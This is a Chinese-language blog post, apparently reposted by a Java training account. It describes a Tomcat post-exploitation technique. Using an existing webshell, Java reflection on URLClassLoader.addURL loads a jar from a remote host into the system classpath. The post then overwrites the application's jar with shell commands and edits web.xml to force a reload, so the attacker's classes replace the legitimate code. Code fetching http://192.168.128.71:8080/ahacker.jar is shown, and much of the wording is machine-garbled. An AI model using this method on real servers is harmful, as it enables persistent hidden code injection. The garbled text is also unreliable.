最近突发奇想,做了些小研究,创造了几个可以在有webshell的条件下不上传任何文件,不重启tomcat(默认配置)就能覆盖本地代码的方法,大家切不要拿来做坏事哦。
写了两个很大略的POC项目,web项目架构图如下:
正常功能很大略,便是一个servlet,输出jar包里的类返回的字符串:
protectedvoid doGet(HttpServletRequest request, HttpServletResponse response) throwsServletException, IOException {MyNamename = new MyName(); response.getWriter().println(name.getName());}
jar包项目里的类:
public class MyName {publicString getName(){ return\公众Jack\"大众;}}
Lib里其余的那个tomcat-api.jar可以是任何文件,这里我随手复制进去的,稍后有用。
然后把“Jack”改成其他字符串,这里我改成 “a hacker”天生了一个ahacker.jar,以及改成”Lisa”天生一个raal.jar,之后会用。我们的目标便是远程用ahacker.jar覆盖real.jar。
好了,开始大略讲下思路。实在很大略,我创造通过Java代码可以添加jar到系统类路径,并且只要不重启做事器,这个修正都是存在的,那么接下来便是让做事看重新加载一遍jar包就行。按照Tomcat加载jar包的优先级,在系统类路径里的jar包该当优先被加载,而如果有相同的类存在,tomcat只会用第一个被加载的类,也便是说它会用我们放到类路径里的jar包里的类。
第一个问题,如何在runtime修正类路径,这个的代码到处都是,比如:
https://stackoverflow.com/questions/1010919/adding-files-to-java-classpath-at-runtime
第二个问题:如何让tomcat重新加载一遍项目jar包,默认配置下是没有热支配的,但在tomcat的context.xml中我们可以看到:
<WatchedResource>WEB-INF/web.xml</WatchedResource>
也便是默认情形下tomcat是监控所有web.xml的变革的,如果这个文件有变革就会重新加载项目。
第三个问题:如果还要上传jar到目标做事器的话,会增加被创造的几率,我找到了一个可以远程把jar包放进类路径的办法。拜会以下代码(包括修正类路径):
try {URIuri = new URI(\"大众http://192.168.128.71:8080/ahacker.jar\公众);URLClassLoaderclassLoader = (URLClassLoader) ClassLoader.getSystemClassLoader();Methodadd = URLClassLoader.class.getDeclaredMethod(\公众addURL\"大众,newClass[] { URL.class });add.setAccessible(true);add.invoke(classLoader,uri.toURL());}catch (Exception exp) { exp.printStackTrace();}ClassLoadercl = ClassLoader.getSystemClassLoader();URL[]urls = ((URLClassLoader) cl).getURLs(); for(URL url : urls) {out.println(url.getFile());}
修正web.xml的代码就不放了哈。。。文件操作而已。
效果图也不放了哈。。便是第一次访问servlet的时候看到Jack,访问webshell后等10几秒再访问servlet就变成a hacker了。忘却说一点,在访问webshell之前要先访问一下正常的servlet。如果运行起来后直接访问webshell,修正类路径然后重新加载彷佛全体项目会卡住(dos?),下面的方法同样要这么做。
不过以上这个思路我只在tomcat 7.0.41和以下的版本实验成功了,7.0.5之后的版本怎么搞都没成功,彷佛Apache把tomcat类加载机制修正了一些。预测可能是重新加载的时候优先加载项目lib下的jar。。系统类路径里的不计再重新加载(彷佛有点没道理,我没穷究,麻烦知道的奉告一声)。
但,放弃么?当然不啊。
我又开始探求其他可能性,末了终于让我找到了一个类似的方案,在最新的tomcat 9.0.0 m26中都可行。只是要多些操作。
第一步操作不变,远程加载jar然后放到系统类路径。
第二步,用本地其他任何一个文件覆盖real.jar,担心署名的话用其他署名jar该当可行。不要通过java IO,考试测验了下彷佛无法成功删除和修正jar。但既然有webshell就可以运行命令嘛,del /Y,copy /Y啥的搞起。目的便是让目标类中不存在原来的类,当tomcat重新加载后绊脚石当然也不存在了。
第三步,修正web.xml触发重新加载。
第四步,等重新加载结束后,大概10-20秒,访问servlet就会看到a hacker。
我后来还试了复原real.jar,实在便是copy real.jar到别的地方,然后覆盖real.jar,末了复原real.jar。这么做的过程须要把稳在复原rea.jar的之前,要先访问一下servlet。这也才是这个攻击的重点,即便tomca已经在我们修正类路径后彷佛也优先加载项目lib下的jar,我们只要让jar里面的类不存在了,tomcat就会重新找到我们放在系统类路径里的jar,并用里面的类。复原后的jar不会构成影响,由于该加载的类已经加载完了嘛。PS:规复real.jar之前你可以让JSP线程睡个半分钟,估摸着重新加载结束后,去访问一下覆盖过的代码就行。
对了,在tomcat 9中远程加载jar不再能用URI,但Java的URL本身就支持jar协议。。代码如下:
try {URLuri = new URL(\"大众jar:http://192.168.128.71:8080/ahacker.jar!/\"大众);URLClassLoaderclassLoader = (URLClassLoader) ClassLoader.getSystemClassLoader();Methodadd = URLClassLoader.class.getDeclaredMethod(\"大众addURL\"大众,newClass[] { URL.class });add.setAccessible(true);add.invoke(classLoader,uri);}catch (Exception exp) { exp.printStackTrace();}
以上讲的方法该当是没办法通过jar包署名防的。实在,还有另一个全版本通用的方法,只不过这个方法须要你上传一个jar,如果没有做jar包署名检讨的话,这个更好用一些。。
之前讲过,有相同类的话,tomcat会用第一个加载的,我们现在已经能通过修正web.xml来触发重新加载了,那么只须要让tomcat优先加载我们上传的jar就行了。
经我测试。。tomcat加载jar的顺序是根据名称字母排序。。。还记得我开头提到的那个raal.jar么。。你是不是明白了啥?
POC代码不放了哈,思路并不繁芜。感兴趣的话大家可以从末了那个方法开始试。
官方微信:动力节点Java学院